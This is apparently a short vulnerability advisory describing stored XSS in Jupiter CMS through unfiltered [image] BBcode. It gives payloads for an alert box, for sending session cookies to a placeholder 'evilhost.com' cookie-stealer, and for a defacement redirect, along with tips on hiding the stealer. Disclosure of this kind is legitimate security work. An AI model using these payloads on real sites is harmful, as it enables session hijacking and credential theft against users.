Jupiter CMS <= 1.1.5 multiple XSS attack vectors.

Discovered by: Nomenumbra/[0x4F4C]

impact:high (privilege escalation,site defacement)

Jupiter CMS (http://www.highstrike.net/) is a dynamic CMS system like mambo or limbo, allowing users to subscribe and posts events.
Because no filtering is done upon [image] BBcode input, any user is capable of inserting arbitrary javascript code, allowing for credential theft leading/session hijacking
and possibly site defacement.

Examples:

This would make a messagebox pop up saying 'XSS', whenever the events get loaded (on the main page, calender,etc):
[image=javascript:alert('XSS')]

This would allow an attacker to steal session ID's, which he could insert into his own cookie to hijack sessions and elevate his/her privileges:

[image=javascript:window.navigate('http://www.evilhost.com/cookiestealer.php?c='+document.cookie)]

It would be used with SjaakRake's cookie stealer (http://www.milw0rm.com/exploits/1103), with maybe the addition of a header("location: ".<anythinghere>), to redirect the user to a page of your choice, to avoid suspicion and
disclosure of your cookiestealer's location.

This injections would allow an attacker to redirect users to a page of his choice, effectively defacing the page:

[image=javascript:window.navigate('http://www.evilhost.com/pwned.html')]

As you can see the possibilities are limitless, as long as you have a bit of fantasy!
